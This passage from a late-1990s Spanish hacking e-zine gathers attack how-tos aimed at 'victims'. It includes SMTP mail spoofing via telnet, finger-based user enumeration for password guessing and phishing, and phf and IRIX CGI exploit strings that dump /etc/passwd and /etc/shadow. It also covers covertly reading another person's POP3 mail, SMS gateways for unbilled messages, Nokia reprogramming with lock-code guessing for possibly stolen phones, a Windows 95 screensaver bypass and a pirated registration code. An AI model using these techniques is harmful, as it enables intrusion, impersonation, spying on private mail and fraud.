by su.servidor.de.smtp.com (Netscape Mail Server v1.1) with
SMTP id AAA13275 for ; Sun, 1 Feb
1998 17:45:27 +0100
Subject: Esto es un mensaje falso ...
From: supercoco@superplanet.com
Reply-To: supercoco@superplanet.com
To: pardillo@su.servidor.com
Y aqui va el mensaje ...
Si te fijas en lo de abajo (a partir del subject), veras que le hemos
enviado un mensaje con un remitente que no somos nosotros. Pero si
miras mas arriba podras observar que aparece nuestra direccion IP.
Ohhh ... nos pillaron. Esto es debido a que el servidor que hemos
usado para enviar el correo (en este caso: algun.servidor.de.smtp.es)
refleja la IP de todo aquel que envia a traves de el. Para solucionar
esto debemos encontrar uno que no refleje la IP). Si miras en numeros
anteriores de este zine podras ver listados de servidores. Pero, si
deseas alguno que no conozca mucha gente, deberas probar 'a huevo'.
Date cuenta de que si escribes mal su direccion de correo nunca te
podras enterar, dado que la direccion de 'reply' es de otra persona,
o inexistente (como en este caso: supercoco@hacker.com ... o puede
que exista X-D ).
* Estilo hacker
-------------
Si entras con telnet deberas utilizar unas determinadas ordenes para
moverte por el sistema. Esto tiene varias ventajas:
1) Cuando conectas te dice la version de sendmail (o cualquier otro
protocolo que utilice). Con lo cual puedes buscar en nuestra
seccion de bugs :D por si esa version tiene alguno (seguro que
si).
2) Una vez conectado puedes escribir HELO (o HELO user) con lo que el
te respondera con un mensaje de bienvenida, mostrandote o no, tu
direccion IP; en caso de que te la muestre ... busca otro (si tu
fin solamente era enviar correo falso - o fake mail).
3) No necesitas reconfigurar tu programa de correo :)
Para poder moverte por el sistema debes usar los siguientes comandos:
HELP --> Mensaje de ayuda (no esta disponible en todos los
sistemas).
HELO hostname --> En algunas versiones esto es necesario para
poder ejecutar el resto de comandos. En
'hostname' puedes poner cualquier cosa.
MAIL FROM: usuario --> 'usuario' es el remitente, el que
quieres falsificar.
RCPT TO usuario --> 'usuario' es el destinatario. A donde vas
a enviar el mail.
VRFY direccion --> Verifica el reparto de mail de una
direccion.
EXPN direccion --> Expone la direccion de una lista de correo.
DATA --> Nos permite escribir el texto a enviar. Acaba con un
punto.
RSET --> Interrumpe la transmision.
NOOP --> No hace nada. Sirve para ver si seguimos conectados
o no.
DEBUG nivel --> Fija el nivel de de debugging.
QUIT --> Terminar. Cerrar la conexion.
Si tu unica intencion es hacer fake mail, puedes usar algun programa
destinado a ello (hay muchisimos); incluso un mailbomber te serviria
(diciendole que solo deseas enviar uno). En estos programas solo has
de especificar:
Servidor de SMTP (muy importante que no refleje tu IP).
Direccion de correo del remitente (la falsa, claro).
Direccion de correo del destinatario (la victima).
Para hacer fake mail desde telnet haz lo siguiente: (lo que esta
seguido de numeros es la respuesta del servidor)
telnet microsoft.com 25
220 microsoft.com Microsoft Sendmail 1.0 ready at Sat, 2-1-98
HELO supercoco
250 Hello supercoco
MAIL FROM: aznar@moncloa.es
250 ...Sender OKay
RCTP TO: gonzalez@psoe.es
250 ...Recipient OKay
DATA
354 Enter mail, end with "." on a line by itself
No no no!!! no me pienso ir se¤or Gonzalez!!!
.
250 Mail accepted
QUIT
221 microsoft.com closing connection.
""""""""""""""""""""""
" PUERTO 79 (FINGER) "
" "
""""""""""""""""""""""
- Utilidad
=-=-=-=-
Conseguir mucha informacion sobre usuarios. Cuando hacemos un finger
podemos obtener algo asi:
login datos personales tipo de shell
----- ---------------- -------------
victima Antonio Botella /bin/bash
last log 23 Feb (o, user never log)
Como ves, podemos llegar a conseguir sus datos personales, tipo de
shell que usa, ultima conexion que hizo, login (y direccion de correo),
... Esto puede servirte, entre otras muchas utilidades, para intentar
adivinar su password (ya que mucha gente usa contrase¤as tan simples
como su login, combinaciones de su nombre y apellidos, ...). O tambien
puedes usar algo de ingenieria social para obtener su contrase¤a, bien
enviandole un mail falso a victima@su.servidor.com 'persuadiendole'
para que te de su password o puedes buscar su nombre en la guia y hacer
una llamada telefonica haciendote pasar por su proveedor de Internet.
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Puedes hacer usar la orden finger para solicitar la informacion
deseada:
finger victima@su.servidor.com
En algunos servidores podras hacer:
finger @su.servidor.com (sin especificar el usuario)
Asi te saldran todos los datos de los usuarios que estan conectados
al servidor en ese momento. Tambien puedes escribir:
finger 0@su.servidor.com
Y obtendras ...
Si no conoces el login de ningun usuario puedes probar 'a ciegas' para
obtener alguno. Solo has de ir probando nombres, y si alguno de ellos
es un login o esta en los datos personales de algun usuario, te lo
mostrara. Si por ejemplo escribimos:
finger juan@su.servidor.com
Puede que nos salga:
login datos personales tipo de shell
----- ---------------- -------------
juan J. Antonio Perez /bin/bash
last log 20 Feb
O tambien:
login datos personales tipo de shell
----- ---------------- -------------
jjose Juan Jose Sanchez /bin/csh
last log 2 Feb
Debes de tener muy en cuenta de donde es el servidor, porque si es uno
de Japon, no te servira de nada probar nombres espa¤oles o alemanes.
Los usuarios que suelen estar en todos los sistemas son: root, admin,
postmaster, webmaster, ...
* Estilo hacker
-------------
Para hacer esto por telnet has de especificar el puerto 79, de forma
similar o los casos anteriores. Una vez conectado, escribe el nombre
del usuario, una @, o un 0. Los resultados son los mismos que en la
forma newbie.
"""""""""""""""""""
" PUERTO 80 (WWW) "
" "
"""""""""""""""""""
- Utilidad
=-=-=-=-
Este servicio es el que nos permite ver las paginas Web. Nosotros
podemos aprovecharlo, mas que nada, para conseguir el shadow (mediante
los bugs del 'phf') o tambien para modificar el .rhosts de algun
usuario (consultar seccion de bugs & exploits).
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo newbie
-------------
Puedes probar los bugs del 'phf' que aparecen en la seccion de bugs.
Este tipo de bug ya ha sido comentado en numeros anteriores de este
zine, pero lo volvere a escribir:
Para capturar el passwd:
http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/passwd
Para capturar el shadow:
http://www.host.com/cgi-bin/phf?Qalias=%0a/bin/cat%20/etc/shadow
Como no se pueden escribir ni espacios ni finales de linea (ENTER),
debemos escribir su codigo ASCII (el '0a' es el ENTER y el '20' es el
espacio, ambos en hexadecimal). Para indicar que es ASCII debemos
escribir antes un '%'. Si usas tu imaginacion podras ejecutar muchos
mas comandos del sistema que te podrian ser utiles para conseguir
mucha informacion.
* Estilo hacker
-------------
Accedes por telnet al puerto 80 y usas alguno de estos 3 comandos:
GET (consigue informacion del cliente al servidor).
PUT (pregunta al servidor si acepta la informacion como
reemplazo del objetivo).
POST (pregunta al servidor si acepta la informacion pasada
del cliente como una especificacion del objetivo).
Si no escribes la orden correctamente, te cerrara la conexion. Como
ves, esta bastante restringido, pero te sirve para explotar algunos
bugs de ese protocolo (HTTP/1.0).
Como ejemplo pondre un conocido (y antiguo) bug que funciona (si no
esta parcheado) en algunos sistemas IRIX:
GET /cgi-bin/handler/fichero_falso;cat /etc/passwd|?data=Download
El cgi-bin/handler permite la lectura y escritura de ficheros, pero
tiene un ligero problemilla que se le paso a sus programadores, y es
que cuando intenta abrir el fichero especificado (en este caso seria
'fichero_falso') y no lo encuentra (se supone que ese archivo no esta
en el sistema), ademas de darnos un mensaje de error, pasa a ejecutar
la seguiente instruccion que se encuentra (en este caso, el 'cat').
De este modo podremos ver el /etc/passwd del sistema. Tambien se
pueden utilizar otros comandos ademas del cat. Usa tu imaginacion.
Pero debes tener en cuenta que el script no admite espacios, por lo
que cada vez que necesites escribir uno, deberas usar el tabulador
(TAB).
"""""""""""""""""""""
" PUERTO 110 (POP3) "
" "
"""""""""""""""""""""
- Utilidad
=-=-=-=-
Leer el correo de algun usuario. Para ello has de tener el login y el
password, logicamente. Es ideal para espiar y recopilar importante
informacion (segun el usuario) sobre ese sistema u otro. O simplemente
para ver sus trapicheos con el intercambio de fotos guarras. ;)
- Formas de explotarlo
=-=-=-=-=-=-=-=-=-=-
* Estilo Newbie
-------------
Solo has de cambiar la configuracion de tu programa de correo. Para
ello debes modificar tu login por el suyo y tu direccion de pop3 por
la suya. Y claro, usa su password. Debes realizarlos siguientes
cambios:
POP3 Server: mail.serverhackeado.com
SMTP Server: (no hace falta que lo modifiques)
POP3 Username: pardillo
Y cuando te lo pida, introduces el password del usuario en cuestion.
No olvides, antes de nada, configurar tu programa de correo para que
deje los mensajes en el servidor (en vez de borrarlos) ya que el
propietario de la cuenta podria darse cuenta de que le alguien le lee
el correo.
* Estilo hacker
-------------
Si eres un verdadero hacker puedes acceder al puerto 110 mediante
telnet, de forma similar a la que he indicado en los casos anteriores.
Si optas por esta opcion deberas conocer cuales son los comandos
necesarios para 'moverte' por el sistema.
Antes de nada debes especificar el nombre y la contrase¤a del usuario:
USER pardillo
PASS miClave (la del pardillo, claro!!!!!)
Si lo has hecho bien, ya estas dentro. Este protocolo no dispone de
ayuda, asi que no te molestes en escribir HELP. Pero para eso esta el
tito Guy, para decirte cuales son lo comandos que debes usar. De
todos modos, algunas versiones te muestran todos los comandos al
introducir algun caracter erroneo. No te dice para que sirve cada
orden pero por lo menos te muestra todas las disponibles.
STAT --> Nos dice el numero de mensajes que hay en el buzon y
el tama¤o en bytes que ocupan.
LIST --> Similar al anterior pero nos muestra el tama¤o de
cada mensaje (no en conjunto).
RETR num --> 'num' es el numero de mensaje que queremos leer.
Nos lo mostrara por pantalla.
TOP num nLin --> 'num' es, al igual que antes, el numero de
mensaje que queremos visualizar, y 'nLin' es
el numero de lineas que queremos que nos
imprima (por si no queremos verlo entero.
Tambien es util porque a veces el mensaje no
podemos verlo todo debido a que no cabe en
pantalla y con el scroll lo perdemos).
DELE num --> 'num' vuelve a ser el numero de mensaje. Con este
comando, lo borraremos. Cuidadin ...
RSET --> Chequea el buzon en busca de mensajes nuevos.
HOST dir --> 'dir' es la direccion del host al que quieres
acceder (creo).
LAST -->
MBOX file --> 'file' es el nombre de un buzon al que quieras
acceder (creo).
NOOP -->
QUIT --> Salir :)
Esto es todo ... otro dia seguiremos analizando mas puertos ;)
ÚÄÄÄÄÄÄÄÄÄ - - - ú ú ú ú ú
³ GuyBrush ú
ú guybrush@cyberdude.com ³
ú ú ú ú ú - - - ÄÄÄÄÄÄÄÄÄÙ
zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ
Quieres enviar Faxes por el morro? lee bien este articulo ...
zZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZzZ
6 - PHREAKING CELLULARS
~~~~~~~~~~~~~~~~~~~~~~~
--------------
| ------- |
| SMS-fax |
| -------- |
--------------
PHREAKING CELLULARS
--------------------------------
-Servidores SMS gratiX....
By SlimeLORD+
ECLIPSE GROUP
--------------------------cut------------------------------------------------
Hola again vuelvo de nuevo para sacar otro trukito pa la
mejor revista, ejem! la vuestra.
--------------------------cut------------------------------------------------
SECTION FILE, scanning...
AUTHENTIFICATION REQUIRED
login: *****
pass: *******
OK entered PENTAGONON
IP accesible confirmed
Wellcome Clinton! (SlimeLORD RuleZ)
Aqui llego de nuevo en esta serie de articulos para que
veais lo facil que podeis mandar tanto MENSAJES CORTOS
como FAXES a cualquier telefono del mundo a traves de
un telefon GSM que permita mandar datos...
En Espain cobran 5 duros por mandar un mensajito de estos
pero si usamos un servidor extranjero pues mira por donde,
no llegara ninguna facturilla jeje...
Aqui os pongo unos cuantos para disfrute vuestro:
x +3409090909 upS! este no vale, ya me lo habeis chaFao (T) (cobra)
v +352021100003 permite enviar tato FAXES como SMS, quizas tambien
permita -solo en GSM que lo soporten- enviar e-mails....
v +436640501 otro solo sms
v +27831000006 y otro...
v +420602909909 para mi el mejor CON DIFFERENCE , eficaz y el MAS
rapido de todos, pues ademas te da recibi de cuando ha llegado a
su destino y es gratiX.
Bueno hasta la proxima, intentare escribir mas tecnicamente....! UmmF!
SlimeLORD@Hotmail.Com
------------------------cut--------------------------------------------------
Que hay hermanos?
Que les parecio el invento? Bueno no es nada con el articulo
que estoy escribiendo sobre telef- GSM NOKIA y MOTOROLA
para poder hacer diablras con ellos, solo que me gustaria
me hecharan un cable pues no dispongo de ellos y la
informacion solo es un poco una recopilacion de los mejores
trukitos para la makina, osea ke ... Bueno de todas formas las pondre
a vuestra disposicion para que la inserten donde quieran en
la revista, sin mas coordiales saludotes! desde la Spain!
Hare Chrisna!
SlimeLORD@HOTMAIL.com
----------------------cut----------------------------------------------------
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
Si tienes un Nokia, no hace falta que te mires el largo y aburrido manual,
esto es mucho mas interesante ...
()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()()
7 - PROGRAMING CELLULARS
~~~~~~~~~~~~~~~~~~~~~~~~
--------------
| ------- |
| PROGRAMMING |
| -------- |
--------------
PROGRAMMING CELLULARS
--------------------------------
-Algunos Modelos NOKIA....
By SlimeLORD+
ECLIPSE GROUP
Hola gente, aqui os he reopilado alguna informacion para la gente de
NOKIA, si si, os muestro la forma de programar los moviles, para que
la gente pueda retocar las funciones y asi ahondar mas en las
"posibilidades" del movil, el autor de toda esta informacion mostrada
no se hace responsable, solo alega que es de proposito educacional,
y que cada cual la interprete de la mejor forma posible.
**************************************
* MODELO NOKIA/MOBIRA P4000 & PT612 *
**************************************
NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553
PROGRAMACION DE LA NAM:
1. Enciendelo.
2. Entra * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es codigo de seguridad
1 2 3 4 5 es el defecto de fabrica.
3. Si la entrada fue corecta pondra "IdEnt IF InFO Pri"
Saltate al paso 7 para programarla NAM 1, o completa de 4 - 6 para encender
la NAM 2.
4. Presiona SND para poner "IdEntif InFO OPT"
5. Pulsa END y pondra "OPt InFO diSAbLEd"
6. Pulsa SND y pondra "OPt InFO EnAbLEd"
7. Pulsa END, la primera entrada de datos aparecera.
8. SND se usa para cambiar parametros digitales solo.
9. Pulsa END para almacenar e incrementar cada paso.
10. En cualquier momento pulsa SEL CLR para salir del programa.
DATOS DE PROGRAMACION
PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION
01 00000 - 32767 HO-Id ID SYSTEM
02 0 OR 1 ACCESS MARCA MIN
03 0 OR 1 LOCL OPt LOCAL USE MARK
04 10 DIGITS Phonxx MIN (AREA CODE & TEL#)
05 08 ONLY St CLASS STATION CLASS MARK
06 333 OR 334 PAging Ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd CLASS ACCESS OVERLOAD CLASS
08 A OR B PrEF SyS PREFERRED SYSTEM (SND TOGGLES)
09 2 DIGITS grOUP Id GRUPO ID (10 EN USA)
10 5 DIGITS SECUrity CODIGO SEGURIDAD (DEJAR EN 12345)
11 8 DIGITS SERIAL NUMBER NO CAMBIAR
12 MM/DD/YY 1 dAtE NO CAMBIAR
13 MM/DD/YY 2 dAtE FECHA DE INSTALACION
*****************************
* MODELO NOKIA LX11 & M11 *
*****************************
NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553
PROGRAMACION DE LA NAM:
1. Enciendelo.
2. Pulsa * 3 0 0 1 # S S S S S SEL 9 END donde SSSSS es el codigo de seguridad
1 2 3 4 5 es por defecto de fabrica.
3. Si lo de arriba es correcto pondra "IdEnt IF InFO Pri"
Pasa al paso 6 para programar la NAM 1, o sigue 4 & 5 para cambiar a NAM 2.
4. Pulsa SND y pondra "OPt InFO diSAbLEd"
5. Pulsa SND y pondra "OPt InFO EnAbLEd"
6. Pulsa END, y saldra la primera entrada de datos.
7. Pulsa END para almacenar e incrementar cada paso.
8. La tecla SND cambia la opcion digital simple.
9. Pulsa SEL CLR para salir del programa habiendo seguido todos los pasos.
DATOS DE PROGRAMACION
PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION
01 00000 - 32767 HO-Id ID SYSTEM
02 0 OR 1 MIN Mark MARCA MIN
03 0 OR 1 LOCL OPt MARCA DE USO LOCAL
04 10 DIGITS Phonxx MIN (AREA CODE & TEL#)
05 08 ONLY St CLASS MARCA DE CLASE DE ESTACION
06 333 OR 334 PAging Ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd CLASS ACCESS OVERLOAD CLASS
08 A OR B PrEF SyS PREFERRED SYSTEM (SND TOGGLES)
09 2 DIGITS grOUP Id GRUPO ID (10 EN USA)
10 5 DIGITS SECUrity CODIGO SEGURIDAD
11 MM/DD/YY 1 dAtE NO TOCAR
12 MM/DD/YY 2 dAtE DATO DE INSTALACION
13 Prog done PULSA SEL CLR PARA SALIR
BLOQUEO: SEL LCK. DESBLOQUEO: Entra el codigo de 4 digitos.
SELECTOR DEL SISTEMA: SEL 1 luego 1 para scroll: A = A solo, b = B solo,
S = Pref/no pref, H = Regreso solo.
***************************
*MODELO NOKIA M10, TC2000 *
***************************
NOTA: Estas son unidades NAM duales
El prefijo ESN es 165 en decimal y A5 hex.
Nokia: 813-536-5553
PROGRAMACION DE LA NAM:
1. Enciendelo.
2. Pulsa * 1 7 * 3 0 0 1 * L L L L *, donde LLLL es el codigo de bloqueo
por defecto de fabrica es 1234. Si no se sabe el codigo (robado?) prueba
a poner numeros de 4 cifras, haber si aciertas, pues tienes la
ventaja de que a la tercera oportunidad no te bloquea el movil....
3. Pulsa SEL para almacenar los datos y para moverte entre los nombres de
parametros y las entradas.
4. Pulsa CLR para corregir la entrada.
5. Pulsa END para abortar la programacion.
6. En cualquier momento pulsa SEL END para salir y completar la programacion
el telefono saldra solo si tocas con el puntero todos los parametros.
PROGRAMACION DE DATOS
PASO# #DE DIGITOS/RANGO EN PANTALLA DESCRIPCION
01 00000 - 32767 HO-Id SYSTEM ID
02 0 OR 1 ACCESS METODO DE ACCESO (MIN MARK)
03 0 OR 1 LOCAL LOCAL USE MARK
04 10 DIGITS Phone N MIN (AREA CODE & TEL#)
05 08 ONLY CLASS STATION CLASS MARK
06 333 OR 334 PAGE ch INITIAL PAGING CHANNEL
07 2 DIGITS O-LOAd ACCESS OVERLOAD CLASS
08 2 DIGITS GrouP GROUP ID (10 IN USA)
09 4 DIGITS Loc CodE CODIGO DE BLQUEO
NOTE: Se sugiere que el codigo de bloqueo sea dejado 1234, o
los cuatro ultimas cifras del numero de telefono.
BLOQUEO: SEL LCK. DESBLOQUEO: Entra codigo de 4 cifras.
SELECTOR DEL SISTEMA: SEL 1 cuando 1 para moverte: A = A solo, b = B solo,
S = Pref/no pref, H = Regreso solo.
*********************
* MODELO NOKIA 121 *
*********************
Para entrar en el sistema de datos pulsa *60312#12345, y luego la tecla
M seguida de la localizacion de memoria 00 (cero, cero)
Ahora veras "Store Not Done" en la pantalla. Usa la tecla de (R)ellamada
seguida de las localizaciones 1, 2, 4 y 5...
El NOKIA 121 es similar a la serie 101/201 (es el mismo telefono
excepto el teclado y el software...Technophone tambien tiene un modelo
que es identico (osea que es mas baratillo el de esta marca...)
Las localizaciones 1 & 2 contienen la informacion para la NAM 1 mientras
que la 4 & 5 contienen la NAM 2. No estoy seguro en el NOKIA 121
pero para el 101/201 aqui esta la secuencia de programcion...
*3001#12345 00 (Pone en pantalla "store not done")
RCL 01 te da el codigo del pais, llamada de emergencia y codigo de bloqueo
RCL 02 te da el numero de telefono de 10 digitos
RCL 03 te da el SYS ID (5 digitos, 3 de ellos no se ven hasta que no
bajes hacia abajo cuando programes el telefono , el bit de acceso
local, la marca MIN, el canal de control inicial, la clase de
sobrecarga de acceso y el grupo ID.
Estas 3 localizaciones de memoria son para la NAM 1, y 4&5 lo son para
la NAM 2 (la localizacion de memoria 01 es comun para ambas NAMS)
++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ Osea que aqui termina mi INFORMACION, no he querido o NO he podido
+ profundizar mas en la programacion de los NOKIAS porque NO
+ disponia de ningun modelo para hacer las pruebas, agradeceria a cualquier
+ lector de la revista que pudiese usar estos datos en sus NOKIAS para
+ que nos diera mas informacion de sus observaciones.
+ O que es lo que ha podido programar...
+
+ En todo caso tenganme en contacto en:
+ SlimeLORD@Hotmail.Com
+
+ Un saludote y hasta la proxima!
+ Que traere la programacion de la serie MOTOROLA.....
+ Y si puedo hasta la de ALCATEL,... sigan en la espera mi pana!!!
+
+ SlimeLORD
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
Aqui teneis algo de humor. Lo encontre por las news traducido del ingles. Es
bastante original e incluso se podria decir que es el retrato robot de algun
que otro lamer ...
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-
8 - COMO SER UN "JAKER" EN 10 MINUTOS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
COMO SER UN "JAKER" EN 10 MINUTOS O EN 10 LECCIONES BREVES
----------------------------------------------------------
Estimado futuro "jaker":
1) En primer lugar tu no puedes llamarte de cualquier manera si te vas
a dedicar a esto: no vale Pepe, Ramirez, Lucas o cosas asi. Debes elegir
un "nick" apropiado como Kajjin, kOrLeOnE, BronKa, ViErNeS13, o similar.
2) Tu direccion de correos no puede ser tan vulgar como la mia. Debes
buscarte algo acorde con el nick, y por supuesto mas falsa que una
moneda de 30 duros, por ejemplo: bronkaen@puticlub.com (nada de
jerarquia .es, la tuya debe ser .com, .org, u otra similar de tu
invencion (ejemplo de la vida real: "mafia@ufoplanet.com"), aunque
resulte que eres de Ceuta y uses el OUTLOOK EXPRESS.
3) Por supuesto tu no usas una computadora (joder!), ni un cerebro
electronico (esto ni de co¤a, por favor!), ni siquiera un ordenador. Lo
tuyo es una "maquina" que corre bajo UNIX o LINUX. Como se te ocurra
nombrar GUINDOS la cagaste pa toa la vida.
4) Tus mensajes (desde ahora "posts") al grupo, una vez redactados
"offline" los repasas, quitas las Q y las cambias por K, asi como los
sonidos CA (KA), CO (KO), CU (KU). No sabes la impresion de duro, de
"halternatibo", de algo asi como a lo Santiago Segura, que da este
toke!... Si ademas dejas caer que te encanta INTOZIKAZION EHTILIKA,
JENOZIDAS HAGUERRIDOS... jo! eso ya es la hostia...
5) Tu "news reader" (o sea el programejo para leer estas tonterias) es
la ultima version del "AGENT", debidamente crakeada, cuando tu no tienes
ni pajolera idea de ingles y encima el co¤azo de no saber como leches
marcar, bajar, responder, eliminar... En fin, todo sea por el bien de la
causa, con lo comodo que es el Netscape o el Outlook Express (spanish
version, claro)
6) Por supuesto no se te ocurra pedir nada. Tu lo sabes todo (de
momento). Cuando te consideren "guru" llega el momento de pedir el crack
del WINZIP o cualquier otra "merde" por el estilo diciendo que es "pa un
kolega jili ke usa er Guindoz"
7) En alguno de tus post debes contar que una vez te colaste en un
sistema como "root", "deduciendo" login y pasword, y que les dejaste una
hermosa "huella" de tu paso (no vayas a decir que te cagaste, que
tampoco es eso)
8) Ni se te ocurra decir que bajas soft de Paniagua, Tucows, Ethek,
Shareware, y mucho menos de Microsoft (di siempre Mocosof, que mola un
mazo). Tu esos sitios ni los visitas; te pasas horas en Islatortuga
(aunque solo sea mirando extasiado la "home page"), Kanniball, o en el
PGP (del que por supuesto tienes la ultima version). Antes molaba el
Private Idaho, pero desde que el Keanu Reeves hizo la pelicula suena un
poco amariconado, o sea por alli tampoco iras desde ahora.
9) Estas suscrito, por supuesto a todos los grupos 2600, warez,
hacking, prehaking (esto no se como s'escribe) y fucking (esto si), y
por aqui solo vienes a dar algun consejillo que nunca es alabado ni
valorado lo suficiente (snif...).
10) Contesta (manda "replys") a todos los post off topic que pidan algo
como craks, drivers, serial numbers... en el que aparezca algo asi como
"Tu eres un lamer de mierda!", o "ke t den". Ah! olvidate de
horterolas y cutremovil; tu no usas esas pijadas de "lamer", como mucho
un GSM con "tarjeta de recarga tomatica, jejeje".
Al poco tiempo te habras hecho un nombre y ya puedes empezar a pedir lo
que pide la mayoria. Veras que hay poco kacker a los que admirar, y que
lo que abunda es un pu¤ado de "marianos" que van por la vida presumiendo
de no se que...
Saludos, sus y a por ellos. O'F.
MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW
Parece que a Microsoft no se les acaban los bugs. Esta vez es en el protector
de pantalla y ... solo para HP :(
MWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMWMW
9 - BUG WIN95+HP
~~~~~~~~~~~~~~~~
-------------------------------------------------------------
--------------------BUG WIN95+HP-----------------------------
------------------12r43lOverdrive----------------------------
-----------------12r@antisocial.com--------------------------
-------------------------------------------------------------
Esta es una premisa de C-R-A-S-H.
BUG-WIN95+HP es el nombre que le he dado a lo que sigue.
Acceder al PC con la contraseña del protector de pantalla de Windows 95
activada? Como ustedes sabran hay muchas formas de hacer esto, una, y de la
cual hablaremos en este articulo es en las computadoras Hewlett Packard, ya
sean Brio o Vectra acupando el Extended Keyboard de HP, es decir el teclado
de botoncitos de acceso directo de HP.
He aqui como hacerlo:
Primero cuando Windows nos pida la contraseña del protector de pantalla hay
que presionar el boton con una luna y con un icono de un candadito en la parte
superior derecha del teclado. Cuando aparezca una alerta que nos indica que la
maquina va a entrar a modo dormir, etc.. le decimos que si, despues de unos
segundos presionamos la barra espaciadora y listo! tenemos la barra de
herramientas visible y lista para ser usada, lo que yo recomiendo es presionar
con el mouse el boton del logo de Windows y seleccionar el icono de ms-dos o
sino la opcion de ejecutar, (no veremos lo que pasa en el escritorio ya que el
protector de pantalla lo sigue tapando, asi que hay que ir a ciegas) despues
escribir command.com y tendremos el control de la PC por DOS.
En dado caso que Windows tenga configurado a DOS para ejecutarse en ventana,
simplemente presionando ALT+INTRO se ejecutara en pantalla completa.
Lo anterior fue probado con varios protectores de pantalla y la version mas
reciente de Windows, en varias PC's, por lo que espero funcione en versiones
anteriores de Windows y en otras maquinas.
Otra teoria es que cualquier maquina que tenga Windows95 y ademas tenga un
boton de entrar a modo dormir puede dar resultados similares a lo anterior,
pruebenlo!
12r-1998
------CRASH-------
12r Overdrive 1998
12r@antisocial.com
------------------
ßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜ
Y ya que estamos con el Windows, aqui teneis algunos truquillos mas, pero
esta vez para el 3.x ...
ßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜ
10 - CAMBIAR EL LOGO DE INICIO DE WINDOWS 3.X
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Si quieres que tu lamentable profesor de informatica se quede con la boca
abierta al ver una foto X al iniciar el Windows toma nota:
Con un editor grafico crea un archivo grafico con formato RLE.
El archivo lo puedes crear con un programa como Paint Shop Pro y para cambiar
su formato pillate el Graphic Work Shop en la pagina
www.mindworkshop.com/alchemy/gww.html, ademas por gentileza de Mr_Frost este
es el codigo de registro:
numero: 29581
numbre: WareZoHolicS
Este codigo es para la version de Windows 3.x pero creo que tambien vale para
las demas, este programa ademas de ser un excelente visualizador de imagenes
tiene bastantes formatos de conversion, entre ello el RLE.
Atencion, el archivo grafico no debe tener mas de 16 colores ni ocupar mas de
47696 bytes ni tener una resolucion mayor a 640x480 pixels.
Este archivo sera incluido dentro del ejecutable win.com asi que mas vale hacer
una copia antes de empezar a trastearlo.
Desde la linea de mandatos del MS-DOS teclearemos lo siguiente:
C:\>copy /b systm\win.cnf+system\vgalogo.lgo+milogo.rle win.com
siendo "milogo.rle" el archivo grafico creado por nosotros.
Ahora cada vez que se inicie el Windows saldra nuestro dibujo.
Para que no aparezca ningun logo al inicio basta con teclear win : cada vez
se cargue.
Para crear un win.com si logo:
C:\WINDOWS>copy system\win.cnf win.com ;ojo, desde el directorio Windows.
Para hacer la operacion contraria, restaurar el antiguo logo, copia el win.com
encima del antiguo de la siguiente manera:
C:\>move /y a:\win.com c:\windows\win.com
Feliz Hacking, Mr_Frost
ßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßßþÜÜþßß
El Software de Frost.
~~~~~~~~~~~~~~~~~~~~~
En el numero 10 se mostraba como hackear con un editor hexadecimal, pero como
todo el mundo no tiene el Ventanuco 95 para usar el editor hedit incluido
tambien en la revista, ahi les mando un buen editor hexadecimal para MS-DOS.
Ademas, he incluido un capturador de teclado para MS-DOS (si alguien sabe de
alguno para Windows que me lo diga!!) bastante bueno y un compilador para
archivos BAT con el que podras crear tus programas sin necesidad de aprender
un lenguaje complicado.
Nota: el compilador de archivos BAT crea un odioso mensaje que sale cada vez
que se ejecuta el programa compilado, pero eso no es problema para Frost:
para quitar el mensaje y la pausa que hace antes de procesar el codigo de
nuestro programa basta con abrir el programa compilado con del editor
hexadecimal incluido y rellenar con ceros '00' todos los bytes de la cabecera
del archivo hasta el ultimo retorno de carro '0D 0A 0A' incluido.
Ejemplo: tenemos la siguiente cabecera de un archivo BAT compilado
BA 31 01 B4 09 CD 21 06 B8 40 00 8E CD B9 03 00 que contiene la pausa y
26 8A 26 6C 00 80 E4 0F 26 A0 6C 00 24 0F 3A C4 el pesado mensaje que se
74 F6 26 A0 6C 00 24 0F 3A C4 75 F6 E2 EA 07 EB ejecuta cada vez que
7E 54 68 69 73 20 66 69 6C 65 20 63 6F 6D 70 69 ejecutamos nuestro
